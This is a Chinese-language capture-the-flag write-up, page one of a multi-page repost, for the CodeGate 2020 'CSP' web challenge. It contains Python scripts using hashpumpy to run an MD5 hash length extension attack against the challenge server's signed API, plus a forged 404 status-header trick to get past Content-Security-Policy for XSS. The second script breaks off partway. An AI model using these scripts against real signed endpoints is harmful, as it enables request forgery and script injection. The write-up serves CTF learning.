2020 CodeGate Web Writeup

来源:岁月联盟 编辑:猪蛋儿 时间:2020-02-16

周末打了一下韩国的比赛codegate,惨惨,虽然没啥输出,但记录下唯一2道web的题解。
0x01 CSP
随手尝试:
110.10.147.166/view.php?name=123&p1=456&p2=789
得到如下url:
/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=
不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。
其中q的值为:

同时存在一个report功能:

如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';
显然需要bypass CSP,此时我们关注到api.php的代码实现:
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);
    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/
我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:
header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...
所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:
if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];
if(md5($salt.$api_string) !== $sig){
    die("??");
}
发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:
name=123,p1=456,p2=789
sig=43bb08065a4d2217ca3881e93c65276b
但是我们未知salt的长度,那么需要进行爆破:
import requests
import hashpumpy
import base64
old_sig = "43bb08065a4d2217ca3881e93c65276b"
old_data = "MTIz,NDU2,Nzg5" # 123 456 789
url = "http://110.10.147.166/api.php?sig=%s&q=%s"
for i in range(1, 50):
    result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i)  # 789 456 123
    new_sig = result[0]
    new_data = base64.b64encode(result[1])
    now_url = url % (new_sig,new_data)
    r = requests.get(now_url)
    if '??' not in r.content:
    print i
    break
运行可得,salt长度为12。
那么此时可以并行构造header和body,但是如何bypass csp呢?
由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:

参考link:
http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/

得到:
/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==

构造:
import requests
import hashpumpy
import base64
def gen_exp(a,b,c):
return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c)
old_sig = "fa74cda5bdd2f4da4170e064a5462449"
old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==')  #header,HTTP/1 404,skysec

[1] [2] [3]  下一页